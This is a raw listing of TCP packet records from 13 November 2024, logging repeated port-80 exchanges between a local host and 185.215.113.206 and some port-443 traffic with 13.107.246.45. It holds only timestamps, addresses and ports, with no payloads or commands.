Nov 13, 2024 18:08:33.494220018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494230986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494232893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494250059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494265079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494852066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494863033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494873047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494884014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494894028 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494904041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494904041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494915009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494925976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494935989 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494939089 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494946957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494957924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494960070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494967937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494978905 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494978905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494991064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494999886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495008945 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495035887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495767117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495779037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495788097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495800018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495810986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495819092 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495821953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495832920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495842934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495850086 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495852947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495863914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495871067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495874882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495886087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495893002 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495897055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495908976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.495912075 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495943069 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.495960951 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.496573925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.496586084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.496596098 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.496608019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.496618032 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.496623993 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.496629953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.496655941 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.496668100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.580096960 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.581602097 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.581630945 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.582701921 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.582897902 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.584475040 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.584559917 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.585273981 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.585280895 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.588403940 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.589104891 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.589859009 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.589921951 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.590655088 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.590667009 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.591173887 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.591178894 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.593065977 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.593161106 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.593390942 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.593477011 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.593506098 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.633506060 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.634620905 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.634710073 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.635127068 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.635140896 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.639343023 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.643872976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.643893957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.643903971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.643959999 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644002914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644167900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644180059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644211054 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644218922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644231081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644234896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644264936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644274950 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644417048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644457102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644535065 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644546986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644557953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644570112 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644579887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644582987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644594908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.644599915 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.644630909 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645093918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645103931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645114899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645128012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645138025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645147085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645149946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645163059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645165920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645198107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645551920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645565033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645575047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645587921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645598888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645600080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645601034 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.645612001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645617008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645623922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645636082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645647049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645648003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645659924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645663977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.645692110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.645714045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646445990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646459103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646471024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646488905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646500111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646508932 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646511078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646522999 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646533966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646545887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646545887 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646558046 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646562099 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646569967 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646580935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646588087 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646591902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646605015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646615982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646616936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.646632910 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.646658897 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.647325993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647337914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647350073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647358894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647372007 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647382975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647393942 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.647396088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647408962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647419930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.647425890 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.647425890 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.647474051 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.648192883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648205042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648216009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648227930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648238897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648250103 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.648252010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648263931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648274899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648276091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.648286104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648289919 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.648297071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648308992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648319006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.648327112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.648364067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.649367094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649378061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649389029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649399996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649419069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649425983 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.649431944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649444103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649455070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649466991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649473906 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.649473906 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.649477959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649487972 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649491072 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.649502039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649516106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.649530888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.649558067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650573015 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650584936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650594950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650607109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650618076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650629997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650629997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650640965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650645018 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650652885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650665045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650666952 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650677919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650690079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650685072 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650701046 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650706053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650706053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650712013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650722980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650732040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650734901 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.650764942 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.650782108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651321888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651333094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651343107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651357889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651364088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651369095 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651374102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651382923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651392937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651402950 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651403904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651412964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651415110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651423931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651431084 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651432991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651448011 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651457071 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651458025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.651483059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.651483059 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.652321100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652332067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652340889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652352095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652360916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652370930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652379036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.652383089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652391911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652403116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652409077 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.652414083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652420998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.652425051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652434111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652440071 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.652442932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652452946 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.652462959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.652484894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653161049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653171062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653179884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653189898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653199911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653211117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653214931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653220892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653230906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653234005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653239965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653240919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653251886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653261900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653270960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653273106 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653280973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653290987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653295040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653295994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653301954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653307915 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653311014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653322935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.653341055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653366089 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.653995991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654006004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654016018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654025078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654033899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654045105 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654055119 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654059887 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654064894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654072046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654076099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654086113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654093027 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654094934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654103041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654105902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654117107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654128075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654130936 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654136896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654146910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654158115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654161930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654161930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654169083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654179096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654180050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.654203892 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.654222965 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655030966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655041933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655050039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655059099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655069113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655081987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655083895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655093908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655105114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655107021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655114889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655117035 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.655124903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.655133963 CET	80	49864	185.215.113.206	192.168.2.6
